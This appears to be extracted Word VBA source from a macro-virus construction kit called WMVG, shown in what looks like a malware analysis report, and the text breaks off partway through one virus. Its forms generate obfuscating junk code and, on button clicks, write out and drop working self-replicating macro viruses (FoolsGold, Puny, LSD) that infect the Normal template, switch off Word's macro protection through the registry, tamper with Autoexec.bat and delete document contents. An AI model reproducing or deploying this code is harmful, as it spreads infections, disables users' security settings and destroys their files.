crypt3 = Int(Rnd * 9999)
noisevar1$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode1 + crypt1
noisevar2$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22)))
noisevar3$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode3 + crypt3
noisevar4$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22)))
noisevar5$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode2 + crypt2
noisevar6$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & encode3 + crypt1
' CheckBox2.Value Selects Noise
If CheckBox2.Value = True Then
If select1 = 1 Then
Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & Int(Rnd * " & crypt3 & ")"
End If
If select1 = 2 Then
Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6
End If
If select1 = 3 Then
Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & Int(Rnd * " & crypt1 & ")"
End If
If select1 = 4 Then
Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6
End If
If select1 = 5 Then
Print #1, noisevar1$ + " = " + noisevar2 + " & " + noisevar3 + " & " + noisevar4 + " & " + noisevar5
End If
If select1 = 6 Then
Print #1, noisevar4$ + " = " + noisevar5 + " & " + noisevar6 + " & " + noisevar2 + " & " + noisevar3
End If
End If
End Sub
Attribute VB_Name = "WMVGAbout"
Attribute VB_Base = "0{B6B70E3C-6BB0-45E6-AC37-13376B1156A1}{AC67916D-F407-44DD-A6C7-FDCFDA1CEBC6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
WMVGAbout.Hide
WMVG.Show
End Sub
Private Sub Label2_Click()
WMVGSecretFrm4.Show
End Sub
Private Sub UserForm_Click()
End Sub
Attribute VB_Name = "WMVGExit"
Attribute VB_Base = "0{EB1F825C-F223-4B6D-B8E2-6A6235371C32}{9FE7C6B3-E450-4E6F-9342-3173966D15DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
Oldtimer = Timer
While (Timer < Oldtimer + 3)
Wend
End Sub
Private Sub UserForm_Click()
WMVGExit.Hide
Application.Quit
End Sub
Attribute VB_Name = "WMVGExtras"
Attribute VB_Base = "0{22E17BBD-24D7-467E-B7DC-329B4D6C9680}{9877DE1D-D76C-4BE6-8EFC-9B2EB890B5B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Drop FoolsGold Virus
Private Sub CommandButton1_Click()
On Error Resume Next
' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.bas" For Output As #1
Print #1, "Attribute VB_Name = ""Fool"""
Print #1, ""
Print #1, "Sub AutoOpen()"
Print #1, "'FoolsGold 2000 Virus vWMVG"
Print #1, "'The WaLRuS 09/00"
Print #1, "On Error Resume Next"
Print #1, "Options.ConfirmConversions = False"
Print #1, "Options.VirusProtection = False"
Print #1, "Options.SaveNormalPrompt = False"
Print #1, "CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
Print #1, "ActiveDocument.ReadOnlyRecommended = False"
Print #1, "If (Second(Now()) > 50) Then System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"", ""RegisteredOwner"") = ""The WaLRuS"""
Print #1, "If Day(Now) = 31 Then Call Payload"
Print #1, "Set Norm = NormalTemplate.VBProject.VBComponents"
Print #1, "Set Doc = ActiveDocument.VBProject.VBComponents"
Print #1, "If Norm.Item(""Fool"").Name <> ""Fool"" Then"
Print #1, "Doc(""Fool"").Export ""c:\Fool.drv"""
Print #1, "Set infect = NormalTemplate.VBProject"
Print #1, "ElseIf Doc.Item(""Fool"").Name <> ""Fool"" Then"
Print #1, "Norm(""Fool"").Export ""c:\Fool.drv"""
Print #1, "Set infect = ActiveDocument.VBProject"
Print #1, "End If"
Print #1, "infect.VBComponents.Import (""c:\Fool.drv"")"
Print #1, "Kill (""c:\Fool.drv"")"
Print #1, "ActiveDocument.Save"
Print #1, "End Sub"
Print #1, ""
Print #1, "Sub HelpAbout()"
Print #1, "On Error Resume Next"
Print #1, "Call Payload"
Print #1, "End Sub"
Print #1, ""
Print #1, "Sub Payload()"
Print #1, "On Error Resume Next"
Print #1, "MsgBox ""FoolsGold 2000 by The WaLRuS "", vbInformation"""
Print #1, "Assistant.Visible = True"
Print #1, "With Assistant.NewBalloon"
Print #1, ".Icon = msoIconAlert"
Print #1, ".Text = ""FoolsGold 2000 Thanks You!"""
Print #1, ".Heading = ""GREETINGS"""
Print #1, "End With"
Print #1, "SetAttr ""C:\Autoexec.bat"", 0"
Print #1, "Open ""C:\Autoexec.bat"" For Append As #1"
Print #1, "Print #1, ""CLS"""
Print #1, "Print #1, ""ECHO ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·"""
Print #1, "Print #1, ""ECHO º ***************************************** º"""
Print #1, "Print #1, ""ECHO º * FoolsGold 2000 Virus by The WaLRuS * º"""
Print #1, "Print #1, ""ECHO º ***************************************** º"""
Print #1, "Print #1, ""ECHO º The Fools Gold Virus wishes to thank the º"""
Print #1, "Print #1, ""ECHO º user of this computer because you have º"""
Print #1, "Print #1, ""ECHO º helped to spread the good words of peace! º"""
Print #1, "Print #1, ""ECHO º WaLRuS º"""
Print #1, "Print #1, ""ECHO ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ"""
Print #1, "Close #1"
Print #1, "Finish:"
Print #1, "End Sub"
Print #1, ""
Print #1, "Sub ToolsMacro()"
Print #1, "On Error Resume Next"
Print #1, "Call Stealthy"
Print #1, "End Sub"
Print #1, "Sub FileTemplates()"
Print #1, "On Error Resume Next"
Print #1, "Call Stealthy"
Print #1, "End Sub"
Print #1, "Sub ViewVBCode()"
Print #1, "On Error Resume Next"
Print #1, "Call Stealthy"
Print #1, "End Sub"
Print #1, "Sub Stealthy()"
Print #1, "On Error Resume Next"
Print #1, "Selection.WholeStory"
Print #1, "Selection.Delete Unit:=wdCharacter, Count:=1"
Print #1, "ActiveDocument.Save"
Print #1, "Call Payload"
Print #1, "End Sub"
Close #1
' Open document and then infect it, save it and close it
Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
ActiveDocument.VBProject.VBComponents.Import (Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.bas")
ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\FoolsGold.doc")
ActiveDocument.Close
MsgBox "The Fools Gold Virus By The WalruS" & vbCr & "Has Now Been Dropped", vbInformation, "WMVG"
End Sub
' Drop Puny Virus
Private Sub CommandButton2_Click()
On Error Resume Next
' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\Puny.bas" For Output As #1
Print #1, "Attribute VB_Name = ""Puny"""
Print #1, "Sub AutoOpen()"
Print #1, "'Puny vWMVG WalruS"
Print #1, "On Error Resume Next"
Print #1, "Options.SaveNormalPrompt = False"
Print #1, "Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents"
Print #1, "If N.Item(""Puny"").Name <> ""Puny"" Then"
Print #1, "D(""Puny"").Export ""C:\P"": Set i = NormalTemplate.VBProject"
Print #1, "ElseIf D.Item(""Puny"").Name <> ""Puny"" Then"
Print #1, "N(""Puny"").Export ""C:\P"": Set i = ActiveDocument.VBProject"
Print #1, "End If"
Print #1, "i.VBComponents.Import (""C:\P"")"
Print #1, "ActiveDocument.Save"
Print #1, "End Sub"
Close #1
' Open document and then infect it, save it and close it
Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
ActiveDocument.VBProject.VBComponents.Import (Options.DefaultFilePath(wdDocumentsPath) & "\Puny.bas")
ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\Puny.doc")
ActiveDocument.Close
MsgBox "The Puny Virus By The WalruS" & vbCr & "Has Now Been Dropped", vbInformation, "WMVG"
End Sub
' Drop LSD Virus
Private Sub CommandButton3_Click()
On Error Resume Next
' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\LSD.cls" For Output As #1
Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long"
Print #1, "Private Sub Document_Open()"
Print #1, "' LSD"
Print #1, "' By The WalruS 09/00 vWMVG"
Print #1, ""
Print #1, "On Error Resume Next"
Print #1, ""
Print #1, "Randomize"
Print #1, ""
Print #1, "If Left(ActiveDocument.Name, 8) = ""Document"" Then Exit Sub"
Print #1, ""
Print #1, "Select Case Application.Version"
Print #1, ""
Print #1, "Case ""9.0"""
Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
Print #1, "CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
Print #1, ""
Print #1, "Case ""8.0"""
Print #1, "Options.VirusProtection = False"
Print #1, "Options.SaveNormalPrompt = False"
Print #1, "End Select"
Print #1, " "
Print #1, "With Application"
Print #1, " .ScreenUpdating = False"
Print #1, " .DisplayStatusBar = False"
Print #1, " .DisplayAlerts = False"
Print #1, "End With"
Print #1, ""
Print #1, "KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="" """
Print #1, ""
Print #1, "Set nor = NormalTemplate.VBProject.vbcomponents(1).CodeModule"
Print #1, "Set doc = ActiveDocument.VBProject.vbcomponents(1).CodeModule"
Print #1, ""
Print #1, "ChangeHook = Int(Rnd * 2)"
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.